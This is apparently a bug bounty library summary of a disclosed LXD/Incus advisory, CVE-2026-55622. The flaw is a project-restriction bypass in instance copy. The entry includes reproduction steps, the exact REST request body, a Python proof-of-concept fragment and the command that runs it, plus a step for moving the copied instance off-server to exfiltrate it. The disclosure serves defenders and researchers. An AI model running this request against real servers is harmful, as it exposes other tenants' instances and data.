# LXD has project restriction bypass in instance copy across projects

LXD/Incus copy path loads source instance from req.Source.Project without authorization, letting a restricted cert copy instances from unreadable projects.

- Payout: Research
- Severity: high
- Program: LXD
- Found by: antifob
- Disclosed: 2026-11-06
- CVE: CVE-2026-55622
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-qx75-2p3r-pwm5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-qx75-2p3r-pwm5
- Tags: area:cloud domain:infra impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:rest technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** LXD/Incus REST API POST /1.0/instances copy endpoint
**Root cause:** POST /1.0/instances is authorized only against the target project; the copy path in instances_post.go loads the source instance from req.Source.Project without verifying the caller can view that source instance.
**Steps:**
1. Create project `secrets` with instance `secret`; restrict a certificate to project `default` only (`restricted: true`, `projects: [default]`).
2. Verify restriction: `incus ls remote:` shows no access to `secrets`.
3. POST to `/1.0/instances?project=default` with body `{"name":"copy-secret","source":{"type":"copy","source":"secret","project":"secrets","instance_only":false},"start":false}` using the restricted cert.
4. Wait for copy; `incus ls remote:` now shows `copy-secret` in `default`.
5. Optionally move the copied instance to another server to exfiltrate.
**How found:** Code reading: noticed `cmd/incusd/instances.go` authorizes only the target project, then traced the copy path in `cmd/incusd/instances_post.go` and saw `req.Source.Project` used to load the source instance with no view-permission check.
**Exploitation:** Attacker with a restricted certificate (access only to `default`) guesses the source project and instance names, then issues a copy request targeting their own project while specifying the victim project in `source.project`. The server copies the instance into the attacker's project, exposing its contents/secrets; the copy can then be moved off-server.
**Escalation:** Post-copy, the instance can be moved to another server, converting same-server copy into full data exfiltration.
**Insight:** On multi-tenant APIs where an object is referenced by name inside a request body (source.project/source.instance), authorization often covers only the URL-scoped tenant; audit every body-supplied cross-tenant reference for a matching permission check.

## Proof of concept (copied exactly from the original report)

**Python PoC copying instance across projects**

```
body = {
        "name": args.name,
        "source": {
            "type": "copy",
            "source": args.source_instance,
            "project": args.source_project,
            "instance_only": args.instance_only,
        },
        "start": args.start,
    }
    path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
    print(json.dumps(body, indent=2))
    if args.dry_run:
        return 0
    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
    return 0
```

**PoC invocation command**

```
python3 poc.py --url https://IP-REMOTE:8443 \
    --cert path/to/client.crt --key path/to/client.key \
    --target-project default --source-project secrets \
    --source-instance secret --name copy-secret --insecure
```

## Write-ups of the same bug (oldest first)
- 2026-08-28: [Incus has a project restriction bypass in instance copy across projects](https://bugbountylibrary.com/r/ghsa%3AGHSA-c9f5-j9c3-mhrg) — antifob
- 2026-11-06: [LXD has project restriction bypass in instance copy across projects](https://bugbountylibrary.com/r/ghsa%3AGHSA-qx75-2p3r-pwm5) — antifob (this one)

